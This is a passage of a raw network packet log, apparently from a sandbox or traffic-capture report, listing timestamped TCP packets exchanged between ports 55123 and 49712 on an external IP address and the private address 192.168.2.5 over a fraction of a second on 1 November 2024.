Nov 1, 2024 08:37:12.387571096 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.387578011 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.387586117 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.387593985 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.387617111 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.387630939 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.387799025 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.387836933 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.392143011 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.392180920 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.392189980 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.392206907 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.392239094 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.392395973 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.392432928 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.392436981 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.392445087 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.392477989 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.392479897 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.392488003 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.392513990 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.392534018 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.392777920 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.392818928 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.392833948 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.392868996 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.392889023 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.392896891 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.392925024 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.392947912 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.392962933 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.392980099 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.392993927 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.393078089 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.393085003 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.393111944 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.393176079 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.393183947 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.393188953 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.393194914 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.393224955 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.393243074 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.397063017 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.397072077 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.397083044 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.397109032 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.397130013 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.397136927 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.397197962 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.397232056 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.397288084 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.397304058 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.397330999 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.397351027 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.397382975 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.397392035 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.397427082 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.397521973 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.397563934 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.397700071 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.397716045 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.397742987 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.397767067 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.397804976 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.397814035 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.397850037 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.397852898 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.397898912 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.397923946 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.397962093 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.397979021 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.398026943 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.398082972 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.398094893 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.398128986 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.398134947 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.398144960 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.398180962 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.401880026 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.401932955 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.401942968 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.401952982 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.401998997 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.402025938 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.402070045 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.402111053 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.402158022 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.402275085 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.402286053 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.402302027 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.402326107 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.402343988 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.402349949 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.402386904 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.402493000 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.402502060 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.402527094 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.402537107 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.402543068 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.402573109 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.402637005 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.402671099 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.402687073 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.402695894 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.402703047 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.402734995 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.402750015 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.402777910 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.402821064 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.402904034 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.402913094 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.402950048 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.403111935 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.403120995 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.403161049 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.406697989 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.406743050 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.406757116 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.406790972 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.406883955 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.406892061 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.406899929 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.406920910 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.406935930 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.406990051 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.407032013 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.407079935 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.407119989 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.407174110 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.407181025 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.407190084 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.407216072 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.407228947 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.407299995 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.407306910 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.407320976 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.407339096 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.407357931 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.407495975 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.407500029 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.407537937 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.407604933 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.407613039 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.407629013 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.407651901 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.407666922 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.407763958 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.407804966 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.407812119 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.407857895 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.408010006 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.408016920 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.408057928 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.411497116 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.411549091 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.411596060 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.411642075 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.411708117 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.411715984 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.411722898 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.411755085 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.411772966 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.411777973 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.411813021 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.411874056 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.411914110 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.412002087 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.412009954 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.412038088 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.412045002 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.412054062 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.412076950 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.412233114 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.412240982 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.412270069 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.412276030 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.412282944 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.412288904 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.412307978 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.412312984 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.412339926 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.412453890 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.412462950 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.412487984 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.412487984 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.412493944 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.412545919 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.412545919 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.412590981 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.412681103 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.412730932 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.412847042 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.412883997 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.412883997 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.412920952 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.416416883 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.416457891 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.416460037 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.416467905 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.416490078 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.416496992 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.416503906 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.416527987 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.416543961 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.416554928 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.416594028 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.416601896 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.416646957 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.416659117 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.416691065 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.416817904 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.416850090 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.416867971 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.416876078 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.416908979 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.416996956 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.417036057 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.417046070 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.417084932 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.417114019 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.417124987 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.417144060 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.417151928 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.417177916 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.417206049 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.417243004 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.417254925 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.417284012 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.417449951 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.417450905 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.417496920 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.417500973 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.417536974 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.417779922 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.417823076 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.421384096 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.421438932 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.421489000 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.421544075 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.421657085 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.421696901 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.421730042 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.421768904 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.421837091 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.421873093 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.422008038 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.422046900 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.422074080 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.422112942 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.422326088 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.422368050 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.422375917 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.422430038 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.422781944 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.422827005 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.426388025 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.426429033 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.426465988 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.426508904 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.426599026 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.426641941 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.426750898 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.426796913 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.426829100 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.426871061 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.427014112 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.427056074 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.427179098 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.427217960 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.427244902 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.427279949 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.427691936 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.427735090 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.431399107 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.431442976 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.431457996 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.431497097 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.431618929 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.431674004 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.431756020 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.431801081 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.431860924 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.431900978 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.431984901 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.432028055 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.432063103 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.432110071 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.432488918 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.432553053 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.436206102 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.436256886 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.436288118 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.436321974 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.436443090 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.436469078 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.436480045 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.436501026 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.436505079 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.436537027 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.436558962 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.436595917 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.436610937 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.436651945 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.436899900 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.436939955 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.436960936 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.436969042 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.437000990 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.437362909 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.437402010 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.441453934 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.441507101 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.441555977 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.441596031 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.441612959 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.441649914 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.441721916 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.441730976 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.441765070 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.441914082 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.441965103 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.442121983 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.442158937 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.442163944 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.442168951 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.442194939 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.442209959 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.442548990 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.442609072 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.442643881 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.442681074 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:12.442795992 CET	55123	49712	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:12.442835093 CET	49712	55123	192.168.2.5	94.141.120.6
